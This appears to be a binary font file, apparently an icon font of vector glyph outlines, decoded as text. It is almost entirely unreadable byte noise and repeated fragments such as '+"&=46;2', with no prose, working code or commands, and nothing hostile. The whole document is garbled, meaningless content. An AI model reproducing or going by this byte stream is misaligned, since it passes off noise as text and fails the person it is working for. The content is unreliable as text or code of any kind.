-%+"'&?6254&+";267+"&=46;2
�
PP��@*�**�*i			ppJ����**�**���`
-%"/&76;254&+";267+"&=46;2PP
�
&��@*�**�*�	pp		�����**�**���`?'754."2>".4>2�@@`��$?J?$$?J?\4XhX43YhXp  T�@�IJ?$$?J?$$�hX44XhX44���`%5?64/&"3276'&7>3327+"&=46;2�XX

0!	**#
�*�**�*mXX
(
-8Y
(
��**�**���`)%54&+"2?32767+"&=46;2@
x
$��$
@*�**�*�x


$��$��**�**���`/7#5#57'&?67'?64/&"7+"&=46;2e&
tIIA�H��&�*�**�*k&
nII��H�H�&�**�**���`$?64/&"'&"27+"&=46;2��u5Z�*�**�*;�u5Z��**�**���@3232"/&76;5#"/&76�0
	PP
0P(@�``
	�0�`7++"'&?6;5#"'&?62�
0�(P0
PP�	�0�		````/%+"&=46;254&+";267+"&=46;2 �� �� *�**�*�t����**�**���`%54&+";267+"&=46;2@
�

�
@*�**�*� 

 

��**�**
���s/'764/&"27"/64&"'&4?6227O�OZ�[�[��		 (		�		( 	O�Of�[�[��		 ( 		�		(	���`2".4664/&327�hX44XhX43��`4XhX44XhX�P	�	���`5E64&"27.'"3;267.'"3;2767+"&=46;2�kR:&7 `,;G'3W4 H*�**�*3;Q 7&'G;, 4W3��**�**``/7+"&=46;25+"&=46;25+"&=46;2`
0

0

0

0

0

0
H0

0
v0

0
v0

0
�`�/7+"&=46;2+"&=46;2+"&=46;2`
0

0
�
0

0
�
0

0
�0

0

0

0

0

0
���`'3$"&4624&"26"&4624."2>".4>2&4&&4F8P88PXKjKKjk*<@<**<@<*:4XhX43YhX�4&&4&hP88P8�jKKjK�@<**<A;**�hX44XhX44 �#%2+"&=46;5462+"&54&"

�

B\B

&4&�
�

�
P.BB.

&&P����U4&"2"#"/"&'#"#&=46;25#"&=46;5.546232+>7'&76;2�


�ctcX=%0

0&4&0

0%=X:


�X$**$X�
 
)&&)
 
����`!'73?!7!7!ExCȯJiz��.
��`��CCY%((UJ0��``%7#3/#5?#/!'��12+[Z
�r` ���+�9

#E�-u��((���` ?64/&"'&"26".4>2�rMMr�4XhX43YhX;rMMr�hX44XhX44���` %764/&"2?26".4>2#rrMMb4XhX43YhXcrrMMvhX44XhX44���` ?64/&"26".4>2�rrMM�4XhX43YhX#rr
MM�hX44XhX44���` ?64/764/&"26".4>2�MMrr�4XhX43YhX#MMrr�hX44XhX44�@%#765&'&'&+#7##!2�/L-13L3L3LD'������@	���`-4&"27#"/&?'0#"/&?63767>32hF&,`GE8^/UB`>[-^8EG`.$��`xL4&"27#"#'.5#+"&=4675#"#"'.7>7&5462346?232�


�p@$
�

 LpJ


P,�

�+	����#G!!754&+";26754&+";267#!"&546;546;23546;232 `��`�`
��

 ` 
 0HHHH��

@
��@`"%5#6767"'.=463!2p;0""
 
����.�+   *�

��]�CK7&=462%#"'326=46232+"&46;5&'"/&4762'54632D


Z/!
.B

J6@

�

@?4b�/!)� 

 
�Z !/
B. 

 7R!



	!?4��!/�� �'3%32+"&46;5.=46226=462'"&=462 J6@

�

@6J

B\B

@/B//B/� 7R!



	!R7 

 .BB. 

Z�!//!�!//����e%#".#""##"&54>54&#"#"'&"/0#01327654.5463232630132>32�
	 	
			&	
&			
	:	n	
	
&		
		
	
&		�@?#+"&'&676;2�T�T��
�
�
�
 ``
�
	
����"F7#/&5##537'#5336?3##'414>54&#"'6763235�>(&A 1."E##@.3��


	":**?>*HD*8	8*BJ64

		�["G7#/&5##537'#5336?3#7#'&54>54&#"'6763235�>(&A 1."E##@.3��



	"
:**?>*HD*8	8*BJ�4

	�`7+"&=46;2+"&5'46;2�
@

@

@

P
H8	
8

�

�

�`.7+"&=46;5#"&=46;232+"&=46;2�
�	
	
`

 
@

@
0 	
 
`
 

�
0

0

�@<7+"&=46;27+"&=467>54&#"#"/.7632�<<O	

< 
	)(L( F<<�	%	B%����&A]iu�7#"'&4?62"&=462&+"&46;2#"/&'72?654/7''&#"&/&54?632+"&46;2'"&=462"'&4?62n@@(8PP@%S<D%E	T�<D

%E	T%S�PP�f@@B@@
PP8($T	E$

E<T�E$

E<T$T�PP*@@��`K64&"24&"24&"27"&54675.546267>5.5462H�&
8! 
(

(



(.
G 	


�

|	
���`87357#++"&=#"&=#"&=46;546;2376232����� 80�880�=>8@����088�088>=���`@#"#.=#".67%632^�
�@)��	�
�
���x
(%7//7#"/#"&?'&6?632(AY(O~[pp[~88~�>
P�*XMX}		;;		}Xr

r���o;7#"/&4?6#"1&56'.'#"/&4?6�
��

c�
%6(
��

g/*r
��
dm& 
d)?
��
B1+���<$97"/&4?62/.7>"/&4?'&4?62�ttbb�]]�tbbt"ttbb��C�tbbt�
$7"/&4?'&4?62+"&=46;2�tbbt���tbbtu���`*2Fr7567565'5&'.	#"323275#"'%+"&5.5462#"/.#"#"'&=47>32327676�-33-+56�;%

	.

+*"%��		p	7%C$(0

/�0/l2/r.88
/�/1|	��<	
�		�

���`*V%5#"'.#"63232%+"&5.5462#"/.#"#"'&=47>32327676�*"*+:=/

��		p	7%C$(0

/{� �	�	��<	
�		�

� #/;GS_kw�����7+"=4;27+"=4;2'+"=4;2+"=4;2'+"=4;2'+"=4;2+"=4;2'+"=4;2+"=4;2+"=4;2'+"=4;2+"=4;2+"=4;54;25!%#!"&=463!2` 88 ��� ` ``�@@8 �`�
�`

�
\<<�<<D<DD|X<�����

�
�#+3C754&+54&+"#";;26=3264&"264&"26#"'##"&46;2�0 00 0�SSK50$8$05KK5�5p 00 00S5jK  KjK���`+7$+"&46;2&"&462"&4624."2>".4>2 
�

�v�S*<@<**<@<*:4XhX43YhXv


m�@<**<A;**�hX44XhX44���`$4@%&'."'.7>2&"&462"&4624."2>".4>2
"*"
2@2r�S*<@<**<@<*:4XhX43YhXM%%��@<**<A;**�hX44XhX44���`$4@%"&'&676267>&"&462"&4624."2>".4>2
2@2
"*"
~�S*<@<**<@<*:4XhX43YhXs%%s�@<**<A;**�hX44XhX44  /2+"&=46354&+";26'2+"&=463�!!�!!�
�

�
(� !�!!�!�

�
r  #3C7++"&=#"&=46;546;23254&+";267+"&=46;2�8888 
�

�
 !�!!�!�8888d�

�
��!!�!!�`'E%4#!"3!26?6%354&+"&=4&+"7>#!"&=46;23232�
��
J

J��
�

P
@$NJ$��!!P!�!0�	[	[-(



�O
)[
!�!!!(�`,%54&+"&=4&+"3!267#!"&=46;232�
�

P

0
 !��!!P!�!8�



�
��!!�!!!���@1X6".4>2".4>24&#""'&#";2>7#".'&547&5472632>3��."
',&"%!*!%8
!%1% )#""
)%(%!)
"Z**!!B4	
4;(	(���p,%#"&5465654.+"/&4?6232� ''8
��
8�)
h)H		(
@
��
@e!���`$".4>2�4XhX43YhX�hX44XhX44���p	!)19A6#"&4632"&462&"&462"&462&"&4626"&462"&462&"&462|��  �$$�((�&?G�  ��$$((�`�`!C+"&=46;26=4&+"&=46;2+"&=46;26=4&+"&=46;2�#/

&
8`�#/

&
8`0�/#
 
&
`�/#
 
&
`�`!C7+"&=4>;2+";2+"&=4>;2+";2�`#/

&
8�`#/

&
8�`�/#
 
&
`�/#
 
&
���`"2>4&".4>2�J?$$?J?$$\4XhX43YhX($?J?$$?J?0hX44XhX44�@/64&"2754&+";26&4+";7+"&546;2t@��0((L
�

�
<����


 `'64&"2754&+";267+"&546;2�


j�� ��


8�����@+37"&=463!2#%3!26=4&#!"3#!"&=324+"3h����X(�p(�(@��ذ��

����/%54&#!"3!267++"&54>5#"&5463!2��p� �
�
�������	


K
�$"/&4?62762
ttbb�ttbbC
�$"/"/&4?62
bbtt[bbtt�
6"/&4?'&4?62�tbbt�tbbt�
6"/&4?62�bbtt�bbtt+
)$"/&4?627626"/&4?62762
ttbbttbb�ttbb]ttbb#
)$"/"/&4?626"/"/&4?62
bbttbbtt;bbtt]bbtt�
)6"/&4?'&4?62"/&4?'&4?62�tbbtctbbt�tbbttbbt�
)6"/&4?62"/&4?62�ttbbcttbb+ttbbttbb���`#3%54&+54&+"#";;26=3267+"&=46;2@
P
 
P

P
 
P
@*�**�*� 
P

P
 
P

P
��**�**���`#3%54&+"#54&+";26=3;267+"&=46;2@
 
�
 

 
�
 
@*�**�*0�

PP

�

PP

��**�**�`75#3!57#"&='7373�@
 ��  (8x��`@
p0008(P  0�� 9%#32+535##'53535'575#5#57335#5;2+3�HX8I

((0 00 0((

I8XA�Xh80 08hX	���`#'1?I%54&+54&+"#";;26=326'35##"&=463!!3546;2+32@808808���`!!0��(
�
�!!h088088�  ��!�!��@(

(8�!@!���`<c64&"2'35#"4&"2754&+54&+"#";;26=3267+"&5#"&5#"&463546?>;5463!2�M`(1@3808808@
0&4&`&4& 

2(
 
�@1��088088���
&&&&

h2P


��`�/?O_o�����7+"&=46;25+"&=46;2+"&=46;2'+"&=46;2+"&=46;2'+"&=46;2'+"&=46;2+"&=46;2'+"&=46;2+"&=46;23#+"&=#3546;2=4&+"#54&+";26=3;267#!"&546;546;232`@@�@@�@@@`@
p
@`P  �
��	
P
p
P
8==�==C=� 

��8�PP��

@
H

H
��`�/?O_o��������-=7+"&=46;25+"&=46;2+"&=46;2'+"&=46;2+"&=46;2'+"&=46;2'+"&=46;2'+"&=46;2+"&=46;2'+"&=46;2'+"&=46;2'+"&=46;2+"&=46;2'+"&=46;2'+"&=46;2+"&=46;2'+"&=46;2+"&=46;23!3546;2#!"&5463!2`@@�@@@�@@@�@@�@@@`��`P�
��	
@
8==�===�===�==C=�����8X�`

�

��@`(/C%+"&=46;25+"&=46;2!5#"&=#3&/&'#!"&546;2�����h
��^N�
��

�
N
X<��
h`Nf�

P

N��`�-B+"&=.=46226=46226=462+"&=#"&=46;2�
 










�
 
8/!@
p��

��

h

h

h

h

�p

��!/
���@"$4&+32!#!"&++"&=463!2��|�&��&�8(!�!
 (�(`�&&P8!!�
����-4#"&54"37+"&5#"&5>5467&5462��
p&4&p
000**00,L
&&
(vB)1

1)Bv���`
%35##"&=463!!3546;2+32���X!!(� 
�
�!!   ��!�!��@(

(8�!@!��``M$4&"27"&=.=46323>32#"'26=#"&463223226=.5462@


*B\B)7
	

/B/

	
7)/B/(�


c(88(!6$�
	d&&d	
�$6!&&c��``X`6"&462+"&54>72654&'54727"2654'54622654'54&'<.'&"&462`



$�%	(!R!&	P8P88P6


""&
33&










&�P88P8�`5%4/&";;26=326#!"&5467454632632@XX808�8(��.B#K5'A&
 *�XXXXE(8B. 8
5K,$&4�`5%4&+54&+"#"2?6#!"&5467454632632@808XX�8(��.B#K5'A&
 *�XXXX5(8B. 8
5K,$&4���84%#!#"/&54?632!24#"&=!"&=463!54632���PPXP��XPX00PP0�P000P��`(\7"&54&#"&46324."367>767#"&'"&547&547&547.'&54>2�
("""
 8 
 $.0.$�
&$$&'
		




		
'++����735#"&=#754&+";263'+"&=#"&5463!2��h
`@��@KK�
�
�


f
 �
hH�Kk�

(
P

Rf���pOY7"&546226=62#"'.#"#"'.'."#"'.'.#"#"&541>320'*#5462�&4&

�
"
?U0#C8*�



��&&

�
				.D"%9"�

���`U%+"&=46;5#32+"&=46;5#32+"&=46;546;5#"&=46;2+3232�
P

�

P

�

P


�

P

�

HP

P
00
P

P
00
P

P
0
0
P

P
0
0���`!7#"#.57#"'&?>;27232��2f2R+c�����t���@:d"6?32>4.2#"'#"&'<75?>7.54602#&'&'#"'3267>54'�LC'	
&C''�`Q//Q0'

$/O

'D2(J" &$ ,&,4,:";F;"
	

4#;��
		
!<"54���@;"6?32>4&#"'#"&'46&?>7.54>2fY4$ &3Y44T<g=2A
'-<gzg #;"3

#;D;1XI+,
A&,I++���@!)19K64&"264&"276.676&64&"2&4&"24&"2#!"'&54>2`C~
'#
���c#	��	#$<R\R<$S�X__#
�PA87B.R<$$<R
���vq!#"/&547'"'0#"/&54>76321&4?620.547>32#".1632�	


	[
@ 

f
X

f
 @

[	
			\
@ 
f

X
f

 @	[
���`4$#"&'&6?6332>4.#"+"&=476>32�4G'+M"5/##/."
p	

!E%'G4�NG4$!"#/4/##


p
 4���[
)7#57"&5462#54&#"#<=3#>32WRW*)$RRR
+4�LɎ�

�d|$9���@8%#!"&=312>76767#1".'.'.5463!2���["

+R^U	p���	>

8	V$B

<
%�P
$+"&4?62
�	pp�

pp���
$"/&46;2pp
�vpp
��P
$"/&46;26+"&4?62pp
�

�	ppvpp
V

pp���`
;#%#326#!"&5463!2(��[�� ��P ����3��0 � 
6"&=462�p
	
p�p
�
p � 
"/&4?62�
pp
�
pp
@�
$+"&4?62
�	ppV

ppP�
$"/&46;2pp
��pp
�@+;735#5#67#6".4>25"&5!#2!467#!"&5463!2�` &
 �
&

&�&��&& &:
�@	
�
`p"	H:$$$$$v�&&�&&��	
 

���`-co74.'"#"32>'4.#"326'3##".547>7&54>5#"&54676##5#5353�	

!n""	

#&C	 )%
&50#@ @@ 
					
�" "
�)	

(!1%#7@ @@ @@���`"3g#"&'>323	'53277#".546327+654.54>4&'.'37#"46;2#5##335�_&	J:&*
<
�*u
""m#5( �*@ @@ 
					
Slk
" "�*	%$,*@@ @@���`L2+676732654.#"65676'&54632#"&7>54&#"#"&=4638**�-9..
4)&*"	

.**`*�*	,
J8(!'
%6) *;	g&*�*���`J$#"'676732>54.#"7>76'&54632#"&7>54&#".54>2�4X4/8$.4*&*"	3@3YhX�hX4	,
"<&2 "(%7)!+;	i_:4X44���@M64&"2'35#"4&"2*#"&5#"&5#*.54635<>?>;5463!2�M`(1@S	&4&`&4&	
2(

�@1�0�&&&&
P20

����#+3%7'6"/&4762%/?/?/?'/?*II���2B2��_1111���II5��2B2%A111��
�`/?O_o��754&+";26=4&+";2654&+";26'54&+";2654&+";2654&+";26'54&+";2654&+";26=4&+";267#!"&5463!2�PPPP�PP�PP�PP�PP�PP�PPPP ��P(00d00\00�00\00\00�00\00d00T�����`cs&#'6323272723#"327676767654./&'&+7373##"'&'&'&=4'&54&#!"3!26	
!		3

$*V��pH
:F		&%

^1'S/
�����`4d%2#!"&=4637&'&547632'#&'&#"3#"/&'&=45&7=332767654'&��Pq"!A

!6	:f
	#
	�	-  		%"@

	

		
	���~;KZjz#"'732654'>7"##537#&54>54&#"'>3235#!"&=463!2%#53<='73#!"&=463!25#!"&=463!2_	S[	 z��0��T"{��0��0

&�(	


P00�
)
	 ea00}00���P'7G6"&4626"&462#!"&=463!2$"&462#!"&=463!25#!"&=463!2`((((|��0��((|��0��04((d((�00�((�00}00�@/%#!"&=463!25#!"&=463!25#!"&=463!2�
��	
`

��	
`

��	
`
0 	
 

z 

 

z 

 

���`+"&=46;2�*�**�*�**�**���`!1E;5#354&/.#+"&=#3546;2'54&+";26#!"&546;2`��� F
�
  
�
`00�
��

�
F
``�Fh

h��h

�PP�

P

F��__?%#"/&54632#"/&#"32654/&#"#"/&54632_'"�7('��%��	
fg�&'�'(7��&��	gf�����"%3<2+"&=#"&=46?>;2633'375#+3546#+�

�
�

f
h
 KK�KK1O`
h�
�`
h 
��

H
�
f

R
5K�KWOhh
�@
� h
����@N\jx��62"&4#"/##"'&7>76326?'&'#"'.'&67632276326&'&#"32>'&#"32754?'17'227'�


[ �!$"!$$!
#$!� ��


D6� �(� �,�


d
a$
$

$

$a
# 
	 
�
 	
 	�	:�lPf"���`!%#!"&?5#"&46;2+3/=#~��~

�

ED�D   �d



dkk	dd	�`%#!"&5467454632632�8(��.B$K5(@&
 *`(8B.!7
5K,$&4���|!Ci%4/&#"#".'32?6'4/&#"327.546326#"/&547'#"/&4?632632l4


3

%�3

%4


�%34%34P
4


4$�
4$

4
�<$44<$44����19AS[7#"&5432327+"&54>322>32"&462"&462+&'654'32>32&"&462�(" $�$
!"!
�&4&&4�8P88P�"( &4&&4�X
	#�##




L4&&4&xP88P8�#	
Z4&&4&���`G%76+"'&?'+"&=4767'#"'&=46;27'&76;2#"'AYY$


p
$YY$
p	

$YY$

p
$YY$
p

�YY$
p


$YY$


p
$YY$
p


$YY$


p
��/35##!"&=3;26=##5%!546;546;232��� ���
P
@�@X
�
X@ �xx(

(  x``(

(��_@#"/&='&763!2_{
@{@
6
{�
@z{

�`+;%35#'!5!735##!"&=463!25#!"&=463!25#!"&=463!2��`��``�
�`	
�

�`	
�

�`	
�
  ` ` �@	
@

z@

@

z@

@

���`/64&"27#"/&54?7#"&4632>32`


��	



�
%�;#.BB. I0$



	y�		
�%c
!*B\B	*8���`�2".460#0>567676063>75&'04&1.5.54."1&"##6'&#64'34.#.2+&'&'&&'&2'&64567>17>76234'2'&'&"&'0&'"6&'6'.01.''#"&'&74.'2726167&#.#"#370.7"3"2"174'&5.'22##226363765365'0&4&6326&14&5&'"5<74>&#0&'.5464'263420650'"12670&5703676<='.674>76'270.16'>376'>7645>374176'6&#0276'&67"&'&#6.'."&+"1&'".&6'&""4&5�hX44XhX43�		
	$	
/3%`4XhX44XhXN#

	

	

�
&���`+$4/&"54&+"'&"2?6".4>2A
/
 
/
ZZD4XhX43YhX�
0~

~0
ZZ@hX44XhX44���`+$4/&"2?;26=2?6".4>2AZZ
/
 
/
D4XhX43YhX�
ZZ
0~

~0?hX44XhX44���`+$4/&"#";2?6".4>2AZ
0~

~0
ZC4XhX43YhX�Z
/
 
/
Z?hX44XhX44���`+%54&+764/&"2?64/32>".4>2@
~0
ZZ
0~
@4XhX43YhX� 
/
ZZ
/
JhX44XhX44����4<p%4.=#"32>3326=327267326&4&"2+#"'#"&=#"&54>7672>=46;2`�			



 


J'#&&"	
�
�10	

�
S	
	�


�#,*&&^)
	
	H

H)/����5h4&"274#"."&#"54&#"".#"354>7+"&=4.#&'.54632546326322@


**



#� 
�
	"&&#(
	

�/	
S
�
01!/)H

H	
	
)^&&*	*���`7?s%35#".'&4&5&'&'4.#"#";32>4&"27+"#"&=&547&'#"&546;&54632;2X	

�
S
	10Z


*
H)/ #,	*&&^)
	
	H
 �			







��
'#&&"	���`5h64&"2%4&+4>54&#"+323254'>4'654&'3267+#"'&+"&=46;2>567>3232@


j�
01/	
S
 &*	*$!/)H

H	
	
)^&*


�

#�*

&#(
�
	"&���`I%/"#"/'&/'&?'&'&?'&76?'&7676767676X"
.
.""
.
.
""
.
.
""
.
.
�"
.
.
"".
.
""
.
."".
.
����74#"&54"3'!.54"+"&5#"&5>5467&5462��D))�)I
p&4&p
000**00,L-s@@@@s-
&&
(vB)1

1)Bv���`.4%2##&'&'.467#"&=46;2725�


hc	

),xms
 b^^�`
W


!0`
��L
D
�@)?$"&462"&46254&#!"3!26%!'.+"#!"&=4?>;2L(��0��((�,��1�1X<PP{x�PP
��
``!=6"&462+"&'.'.=476;+"&5.'.=476;`((�"	Q:(I"�$
,Ga6	Ax./6D((O:Q	""I(	6aG,	$6/.x���`#'+2#!"&5463"!54&#26=!3753353��p��`@ ``��0 88����     �`%%+"&=4&"32+"&=46;5462�

&4&

�

�B\B�@

@&&0
�

�
0.BB���`R%&=4'>54'6'&&"."&'.#'"2?'.54>2�I:

		
2
	


:I3YhX4�?d5
!
!
	


d?4X44X���|73##5#53546;#"�@8V**,19$
�G��G+-/G		�@1#"'327"&'327.=.547&54632676�'6K+D8	
9,)	%
W1/"#	!A;.$# ,
$%-		"/���`EU%45./.#"#".1.'0.54>54.'.#"2326767+"&=46;2@
$

N)
	%@*�**�*V
$	
%	
)O��**�**��@`#!?2#"/#"'.546763 �jj

	nn	

@��eeV��	jj	B``#";26=4&+"&=46;2��8*�**�*@��(�**�**``O%#".'&'.'&'.54767>321032>32` D	

0#	
J
	D 
	#0
���`1d%4&'.54654'"#"#"&#"32632327>7#"&#"#"&54654&54>76763232632`:" 8-!5 #?'28	 '09�
#
;;!
(
	6E#)R>
(
54-
(���p'?$4&"264&"27#!"&=46;;26732'++"&=#"'&?62@


J


*
��

k@k
Q
@
@
@
pp



	



	HP

P
�
p

p

pp���`%-3�7'&76'&76''&74'&76'&6#5436&767+*.=4'>54'6'&&"."&'.#'"2?+"&=46;2b
�*8

		
2
	


8**�*.

��*<
!
!
	


 *�**���`
I7&5#%5#>732+"&=4632654&'&'.=46;546;232r@/1@#/ #3

�

3#
H�H
�)4*>4)*4 $



$ 
�@?$"&=#"&=46;54627+"&5<>;26=4&+/5<>;2(�
p	
p
�]*PPHP*��
H
`
H
�M�*�*��'?%+"&=46;2+";26=46;27"/"/&4?'&46;2`*�**���`
,��,
�
�P**�*�PԀ
,��,

�� `-754&"26+#"/#"&54635"&46;2#2x�
k
e	'

�

'�ppT
yy
1��1���`#3735#7."326354&#"5#3547>327+"&=46;2;::>�:%"99u*�**�*�6
�d&(�b	'��**�**�@'?7+"&=46;2+";6"&=#"&=46;5462�P**PPH��
p

p
�*�*���
H
`
H
����`9%4.""'."767"/.54632>32�/��/ 9��?9 		 8@�

*/��/*7:��	#7>		>���x#"&54?'&54?6�p[~8x��;}X
r
���`=p4&"24&#>54'64&'654&+"+322654&53267+#"'.'&'&'#"&=46;27>;2@


*
	 !5	

	



X &,		!
		

D

H 0#+




�	
�
!3
&		!
�

("		����<m64&"2%4&+4654&#+32;254'>4'654&'267+"&'&+"&=46;6767>763232@


*X



	

	5!0	
 
*$	/H

D


	
!,&*


�
3!
�*
			#(

�
!
!	#&���@%O$#"'#"&'<75?>7.54>202#&'&'#"'3267>54'`/Q0'

$/Q`Q�$

'D2(J" &�F;"
	

4#;""�4
		
!<"5���|��64&"24&"264&"26##"/+"&/&'#"'&547>7&/"&=463767&'&547>3267676;276322#1"&'*##0'"547&'&=4767&543>12:3673225#1"&'*##0'"547&'&=4767&543>12:367322�&4&&4�`&

.	
$&&	.	
$&�%

%%


%%

%%


%�4&&4&@






\/	
&!

/	
&"�$$	�$$	���`G64&"&#"2654'32#".'#"/#"&54>327.54632�(
(
�
7

�,/)30L()3!Y	�(
(
�	7

�!3)(L03)/,Y
���`#'.>64&#"26546326"&462!5!$4&"235#!=##%#!"&5463!2�
<&4&&4���� 8P88P�`` ����
��

�
�
5%%5&� HO99O8 P"  ��

@
���`#%7#546;5#"#3357+"&=46;2G1,& !!Ae*�**�*�7
	7$#!7��~�**�**���`0@%67&#".'"'#"'#"'32>54567+"&=46;2@ 9
%%+2"J*�**�*�
	&*@�**�**���`/7#57#5#57#4&#!"3!26#!"&5463!2�@�@�@�@`�p� �p��``���@��`���0��3��0P��$"&=!"/&4?62!5462�@
�
@@

@�@
  
@@
  
@����+32"/&46;#"&4?62�
  
@@
  
@@6
�

@@

@@�`*%#!"&54?>3!2'#"<=46;232�T'��	
T'V�3T!P!�!�ddN(c�!!!�`%#!"&=46;232�!��!!P!�!�!!�!!!���@;6"&462"&462732#!"&54>5'#"&46;2!2��3���

�
	,3	
@,

�	


�

	
� %K%+".4=#"&54?62+327"/&546;5#"/&546;232@�0	PP
0�(�PP
0�(�0
(h
``
`0f``
`0(h


�%#"/&54?6327632�	�

�




	zz	

	�
	�

�
		zz		

�$#"/"/&54?632�	

zz

�	

�]	

yy


�		����`#3C%".=46;22>=46;2%+"&=46;2+"&=46;2�1XnX1
`


`
�
`	
`

`

`
� 2Q--Q2 

 



 

�`

`

`

`

���@%$#"'"&'46&?>7.54>32�<g=2A
'-$<R.=g�XI+,
A& <++���x7q.+"&=46;2#"&=*.'67;546326#"&=#"+"&=46;2>767>;54632�
88?AP



@PP@
88
@P-
0�P0	
,
0P�P0
0
0P����#37;?Os35#35#'35#35#'35#35#'35#35#'35#'54&+";2635#'35#35#754&+";267#!"&546;546;23546;232 HHXPPXHHXPPXHH�PP`PP�HH`PPX�HH`PP`HH`
��

 ` 
 HHHPPPH�HpH�HP�HH�PHHH0HH��

@
[[1#"#&/#"/&54?63217'&'4?67>X(( FA0?0A �(0X
0(�A0?0AF ((����!3%54&+";26574'&+";26'#!"&'&7>2008.�		��		�(00arr�`		���8	=CU?.54764&#"26546327##"'&547.'&47>3276327#7>7&'7�9&*�-
bi
$<&rC
		( Fp
&b86Z),2$0;@�
-<0�06#;Dt#9}!*0!;/--� !1%&'"&54726&4&#"2654632"&'&47>2�&9B\B9&!ete�-
�#v�v##v�v#�;.BB.;3==�
-L	:EF9		9FF9��`�1#!"&=463!2#.54>54'1`��P@$"$"( 
 
 , 
 
 ,�`N$4&#"327>7>327#"'.#"#".'4&4&54>54&5&54>7>2>?2@
+I9
#A.�F668%#%%0--,%



�
*"
B8O	5'	

!�P
J7=#;26'3'&#"64&#"32+#!"&=#"&=46;"&46327632#32�P	0	r1 
�
0
l
��
n!!  !!n-u00u�(((Ph

hP!.!))!.!���`-2".4654&+";26574'&+";26�hX44XhX43�008.`4XhX44XhX��00Y�����`5%/+"&=&/&6?'.?>546;276rB
 
BBBB
 
BBz'M

M'&&'M

M'&�`�%#!"&=463!2`
��

0
�0

0
``#%++"&=#"&=46;546;232`
h
0
h

h
0
h
�0
h

h
0
h

h��}]/7"/"/&4?'&46;26+"&=462762�
$SS$
p
�S$
p

$S�p
$SS$

�S$

p
$S���`/6+"&=4627627"/"/&4?'&46;2�S$
p	
$S�
$SS$
p
{S$

p
$S�p
$SS$

���p,$"&=#"#"'.5&5476;5462��
8'' 
)�8
���
@
(		G*2!e@
�
���`"%#"/&54?632546;27632�	�


	�




	J
 
J	

	�
	�		�
		J�

�J		

���P!%#"/+"&="/&54?632�	

J
 
J

�	�	�
	

I�

�I

	

�		�
��pS %#"/&4?#"&=46;'&4?632p	�


	

I�

�I

	

�	�	�		

I
 
J

����S %+#"/&54?63232�
�I

	

�		�


	

I�
� 
J		�	

�



I���b	"%4'32>7&#"$".4>2H�"(2$��")%?$H4GNG43GNG4�(!�$3/�$?%)POG44HNG44���` ,%"/&4?627624."2>".4>2%jJ%E$?J?$$?J?\4XhX43YhX�jJ%E?J?$$?J?$$�hX44XhX44���`#/;%"/"/&4?'&4?6276264."2>".4>2$""$""$""$""3$?J?$$?J?\4XhX43YhXr$""$""$""$""J?$$?J?$$�hX44XhX44���`/_%#"&=46;.'+"&=32+546;2>7++"&=.'#"&=46;>7546;232+

(
 
(

(
 
(]
$	;(
 
(;	$	
$	;(
 
(;	$
�
 
(

(
 
(

(K 
(;	$

$	;(
 
(;	$

$	;(
���`.:%54&+54&+";#";26'54&+";26".4>2Pp 00�4XhX43YhX((�(P(�((0hX44XhX44���`:F754&+";2674.#"32767632;265467>".4>2�00@)= !

0	`4XhX43YhX(00�&5
			
hX44XhX44���`#%4/&"'&"32?>".4>2A
f8
Z�?4XhX43YhX�e8Z�hX44XhX44���`+7%4/7654/&#"'&#"32?32?>".4>2--------a4XhX43YhXh--------shX44XhX44���`%54&+";2>".4>20
�

�
P4XhX43YhX� 

 

JhX44XhX44���`#/%54&+54&+"#";;26=32>".4>20
@
 
@

@
 
@
P4XhX43YhX� 
@

@
 
@

@
JhX44XhX44��s%"/&54?'&54?62	�				zz		�	�
�		


	zy


	

�	
��s'&4?62"��		�				zz				�		�				zy
		�B?62#!"&!"&=463!2�
���q��

`		����
@

@	��`&546546;2+"&=�
 

 
p��

��

����`+&546546546;2+"&=&=��
 

 
�p����

��

������`&546546&=���p��������`#!"&5463!2�
��	
`
P��

`

���`+"&546;2+"&546;2�
�

�
�
�	
�
P��

`

��

`

��`a%&546Z��L��p����`6/&'/&4?667����]����������`+6/&'/&'+"&546;26?667���
 	
 
�]������

`

�����`6/&'+"&546;267��
 	
 
]����

`

�����C$"&=#32"/&46;5#"/&4?6235#"&4?62+35462�@
` 
@@
 `
@@
` 
@@
 `
@�@
 `

@@
` 
@@
 `
@@
` 
@�`/D%+"&=46;2#"#&+";26=4?6327"/&4?62762`*�**�

��:�lB��P**�*
�@u�lB���*Y%+"&=46;2+";26=476767#"'&=#""#"'.54>;547632`*�**@�;`
(Q
		".(
`�A**�*	�6w`
0!"T!	0
`�`9>H?'36&?+"&=46;2'&+";26=4?6'#5%'762�&�XX*�**�

��
H�HH&X&�XX�0**�*
� �H�H�H&p-74'4.'&"267"&547>7>2��KjK

`	

	
-5KK5$!)"77") ���`7"6".4>2�%?$$?�4XhX43YhX$?J?$�hX44XhX44��`64&"27"&/&5462�&4&&4f[\KjK�4&&4&@�

�5KK��{[%37'374#"32?6'#5%'7632[; ���h�h{	*h*
;	; ���2h�h�
	*h)

:
���`."&462!57?!"3!2654&#!"&5463!2�((��P(���p�%�p�((�p0P(�H��0��0�@#"/+"&=46;27632�
e*�**�*e
(��
e***�**)d�`/?O6#"&=4632#!"&=463!25#!"&=463!25#!"&=463!25#!"&=463!2XHHj�P������P��H�H~00]00]00]00�`/?O7#"/&4?632#!"&=463!25#!"&=463!25#!"&=463!25#!"&=463!2`HH`�P������P���HH�00]00]00]00�`/?O_o7+"&=46;25+"&=46;25+"&=46;2#!"&=463!2+"&=46;2#!"&=463!25#!"&=463!25#!"&=463!2@000000���P��00���P��P��P800]00]00�0000�00]00]00�`/?%#!"&=463!25#!"&=463!25#!"&=463!25#!"&=463!2�
�`	
�

�`	
�

�`	
�

�`	
�
0 	
 

Z 

 

Z 

 

Z 

 

�`/?%#!"&=463!25#!"&=463!25#!"&=463!25#!"&=463!2�
�`	
�

��

@

��

�

��

 
0 	
 

Z 

 

Z 

 

Z 

 

�`/?%#!"&=463!2'+"&=46;27#!"&=463!2'+"&=46;2�
�`	
�
`
�

�
@
��

`
`
�

�
0 	
 

Z 

 

Z 

 

Z 

 

�`/?%#!"&=463!2'#!"&=463!27#!"&=463!2'#!"&=463!2�
�`	
�
`
��	
@
@
��	
�
`
��	
 
0 	
 

Z 

 

Z 

 

Z 

 

���`g�;7;26?323&'.1&'*#"50"#"'&#"#&1=67676565'4'4#&#&#"#&'=&=!/&4?6!546/!pP

,

*&"	<x(	�	((		`!	&
Z%
			"JCJ��   ���`h�;7;26?323&'.1&'*#"0"#"'&#"#&1=67676565'&64&#&#&#"#&'=2"/&6;#"&?62+/!6J

"	
*$"	
�    `!	&SZ%
